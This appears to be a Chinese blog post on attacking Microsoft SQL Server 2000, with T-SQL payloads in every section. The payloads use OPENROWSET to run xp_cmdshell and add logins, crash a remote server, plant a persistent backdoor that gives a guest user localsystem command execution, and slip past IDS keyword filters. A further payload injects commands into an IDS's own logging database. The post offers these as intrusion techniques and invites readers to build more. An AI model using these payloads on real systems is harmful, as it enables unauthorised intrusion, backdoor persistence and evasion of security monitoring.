1.关于openrowset和opendatasource 
  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: 
select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! 
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''') 
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。 

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作 
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic') 

  这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P 


  2.关于msdasql两次请求的问题 

  不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下 
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2') 

  当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P 


  3.可怕的后门 

  以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令 
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''') 

  这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在sqlserver2000 sqlserver2000SP1上通过! 

  另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令 
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个 账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法, 

  如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:


  4.利用t-sql骗过ids或攻击ids 

  现在的ids已经变得越来越聪明了。 有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。

  先说说欺骗ids: 

  ids既然监视xp_cmdshell关键字,那么我们可以这么做 
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\' 

  这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做 

  假设这个id=988456 
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\' 

  当然也可以 
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\' 

  这种做法排列组合,ids根本不可能做的到完全监视。

  同理,sp_addlogin也可以这么做。 

  再说说攻击ids: 

  因为ids数据量很大,日至通常备份到常规数据库,比如sql server。

  如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做 

  通常程序会这么写 insert table values ('日至内容',...) 

  那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成 
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ') 

  这样,xp_cmdshell就可以在ids的数据库运行了 :) 

  当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是 
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ') 

  用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。

  其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。 

  好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。

以上就是【mssql注入躲避IDS的方法】的全部内容了,欢迎留言评论进行交流!

赞(0) 踩(0)
发表我的评论

最新评论

  1. 暂无评论